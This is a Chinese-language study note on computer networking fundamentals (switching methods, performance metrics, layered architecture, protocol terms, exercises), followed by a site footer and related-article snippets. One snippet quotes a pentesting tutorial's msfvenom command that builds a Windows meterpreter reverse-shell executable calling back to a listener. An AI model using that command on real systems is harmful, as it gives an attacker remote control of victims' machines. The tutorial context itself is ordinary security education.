计算机网络-概述

文章目录

    • 1.2 因特网概述
      • 1.2.1 网络、互连网(互联网)和因特网
      • 1.2.2 因特网发展的三个阶段
      • 1.2.4 因特网的组成
    • 1.3 三种交换方式
      • 1.3.1 电路交换
      • 1.3.2 分组交换
      • 1.3.3 报文交换
      • 1.3.4 三种方式对比
    • 1.4 计算机网络的定义
    • 1.5 计算机网络的性能指标
      • 1.5.1 速率
      • 1.5.2 带宽
      • 1.5.3 吞吐量
      • 1.5.4 时延
    • 1.6 计算机网络体系结构
      • 1.6.1 常见的体系结构
      • 1.6.2 分层的必要性
      • 1.6.4 体系结构中的专用术语
    • 1.8 习题


在这里插入图片描述



1.2 因特网概述

1.2.1 网络、互连网(互联网)和因特网

网络:网络由若干结点和连接这些结点的链路组成。
网络


互联网:多个网络通过路由器互联起来,就构成了一个覆盖范围更大的网络,即互联网。
互联网

因特网:是世界上最大的互联网络。
因特网

image.png

1.2.2 因特网发展的三个阶段

三阶段

1.2.4 因特网的组成

边缘部分:由所有连接在因特网上的 主机组成。这部分是 用户直接使用的,用来进行 通信(传输数据)和 资源共享
核心部分:由 大量网络和连接在这些网络的 路由器组成。这部分是 为边缘部分提供服务的(提供连通性和交换)。

1.3 三种交换方式

1.3.1 电路交换

电话交换机接通电话线的方式称为电路交换。
从通信资源的分配角度来看,交换就是按照某种方式动态地分配传输线路的资源。
电路交换的三个步骤:建立连接,通话,释放资源。
当使用 电路交换 传输数据时,其线路的传输效率往往很低。

1.3.2 分组交换

计算机网络通常使用此种。

1.3.3 报文交换

略。

1.3.4 三种方式对比

三种方式对比
优缺点对比

1.4 计算机网络的定义

计算机网络主要是由一些 通用的、可编程的硬件互连而成的,而这些硬件并非专门用来实现某一特定目的。这些可编程硬件能够用来传送多种不同类型的数据,并能支持广泛的和日益增长的应用。



1.5 计算机网络的性能指标

常用的 计算机网络 的性能指标有以下 8 个:
速率、带宽、吞吐量、时延、时延带宽积、往返时间、利用率、丢包率

1.5.1 速率

比特
比特
速率
速率

例1:100MB 大小的数据,网卡的发送速率为 100Mbps, 则网卡发送完该数据需要多少时间?(8.3S)

1.5.2 带宽

用来表示网络的 通信线路 所能传送数据的能力,因此在网络带宽表示在单位时间内从网络中的某一点到另一点所能通过的“最高数据率”
单位:b/s(kb/s, Mb/s, Gb/s, Tb/s)(单位和速率是一样的)

1.5.3 吞吐量

吞吐量表示在单位时间内通过某个网络(或信道,接口)的数据量。
吞吐量常用于对现实世界中的网络的一种测量,以便知道实际上到底有多少数据量能够通过网络。
吞吐量受网络的带宽或额定速率影响。
image.png

1.5.4 时延

时延


发送时延 = 分组长度(b) / 发送速率(b/s)

传播时延 = 信道长度(m) / 电磁波传播速度(m/s)

例题


1.6 计算机网络体系结构

1.6.1 常见的体系结构

体系结构


TCP/IP 体系结构
在这里插入图片描述


1.6.2 分层的必要性


计算机网络是个非常复杂的系统。早在最初的设计时就提出了分层的设计理念。

“分层”可将庞大而复杂的问题,转化为若干较小的就不问题,而这些较小的局部问题就比较易于研究和处理。

分层

1.6.4 体系结构中的专用术语

实体 协议 服务

实体:任何可发送或接收信息的 硬件软件进程

对等实体:收发双方 相同层次中的实体

协议:控制两个对等实体进行逻辑通信的规则的集合。

协议三要素语法(定义所交换信息的格式),语义(定义收发双方所要完成的操作),同步(定义收发双方的时序关系)。

服务:在协议的控制下,两个对等实体间的逻辑通信使得本层能够向上一层提供服务。
要使用本层协议,还需要使用下一层所提供的的服务。
协议是水平的,服务是垂直的。
实体看得见相邻下层所提供的服务,但并不知道实现该服务的具体协议。

图
协议数据单元PDU:对等层次之间传送的数据包,称为该层的协议数据单元。
服务数据单元SDU:同一系统内,层与层之间交换的数据包称为服务数据单元。
多个 SDU 可以合成为一个 PDU; 一个 SDU 也可以划分为几个 PDU。
image.png



1.8 习题

1
在这里插入图片描述

2
3
4
5
6

在这里插入图片描述

7
参考

练习



速率习题

在这里插入图片描述

image.png

在这里插入图片描述









速率习题答案
习题1: 4X10^-7S
例2:D
习题5:C


在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/544385.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

渗透测试框架权限维持技术——Persistence模块

测试环境: kali win7 测试步骤: 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址(kali地址) lport 监听端口&#xf…

uniapp——第2篇:编写vue语法

前提,建议先学会前端几大基础:HTML、CSS、JS、Ajax,还有一定要会Vue!(Vue2\Vue3)都要会!!!不然不好懂 一、去哪写? 就在【pages】的你的人一个页面文件夹里的【.vue】文…

Vue2在一个页面内动态切换菜单显示对应的路由组件

项目的需求是在一个页面内动态获取导航菜单,导航菜单切换的时候显示对应的路由页面,类似于tab切换的形式,切换的导航菜单和页面左侧导航菜单是同一个路由组件,只是放到了一个页面上,显示的个数不同,所有是动…

lftp服务与http服务(包含scp服务)详解

目录 前言: 1.lftp服务 1.1lftp服务的介绍以及应用场景 1.2安装lftp服务 1.2进行配置 1.3实际操作 2.http服务 2.1http服务介绍以及应用场景 2.1安装httpd服务 2.2进行配置 2.3实际操作 3.scp服务 3.1scp服务的介绍以及应用场景 致谢: 前言: 在当今互联网…

Visual Studio项目模板的创建与使用

Visual Studio项目模板的创建、使用、删除 创建模板项目模板的使用模板的删除 创建模板 点击项目,点击导出模板 选择你要创建哪个项目的项目模板,点击下一步 输入你的模板名称并添加模板说明,方便记忆 项目模板的使用 点击创建新项目 输入刚刚…

android中单例模式为什么会引起内存泄漏?

单例模式使用不恰当会造成内存泄漏。因为单例的静态特性使得单例的生命周期和应用的生命周期一样长, 如果一个对象已经不需要使用了,但是单例对象还持有该对象的引用,那么这个对象就不能被正常回收,因此会导致内存泄漏。 举个例子…

CI/CD实战-git工具使用 1

版本控制系统 本地版本控制系统 集中化的版本控制系统 分布式版本控制系统 git官网文档:https://git-scm.com/book/zh/v2 Git 有三种状态:已提交(committed)、已修改(modified) 和 已暂存(sta…

rust学习笔记(1-7)

原文 8万字带你入门Rust 1.包管理工具Cargo 新建项目 1)打开 cmd 输入命令查看 cargo 版本 cargo --version2) 使用 cargo new 项目名 在文件夹,按 shift 鼠标右键 ,打开命令行,运行如下命令,即可创建…

SwiftUI动画之几何匹配

SwiftUI动画之几何匹配 记录一下 日常开发中经常使用到的滑块功能 如何同工几何匹配快速制作点击动画 import SwiftUIstruct MatchedGeometryEffestExamle: View {let categories ["Home", "Popular", "Saved"]State var selecedTitle "…

uniapp 利用uni-list 和 uni-load-more 组件上拉加载列表

列表的加载动作,在移动端开发中随处可见,笔者也是经常用到。今天正好有空,做一个总结,方便以后使用。uniapp 利用uni-list 和 uni-load-more 组件上拉加载列表操作步骤如下:1、资料准备 1)、uni-load-more…

安装python、pycharm,打好基础,准备飞起

python安装使用 安装python安装包 以下为自定义安装python安装包,无特殊要求可直接进行安装。 勾选Add Python 3.6 to PATH, 然后点击 Customize installation,进行自定义安装。 所有的都勾上,然后点击Next。 可选择自己需要…

如何重置iPhone的网络设置?这里提供详细步骤

前言 本文介绍如何重置iPhone上的网络设置。该信息适用于iPhone 12到iPhone 6以及iOS 14到iOS 8。 如何在iPhone上重置网络设置 采取以下步骤重置iPhone上的网络设置: 1、在iPhone上,打开设置应用程序。 2、单击通用。 3、滚动到屏幕底部&#xff…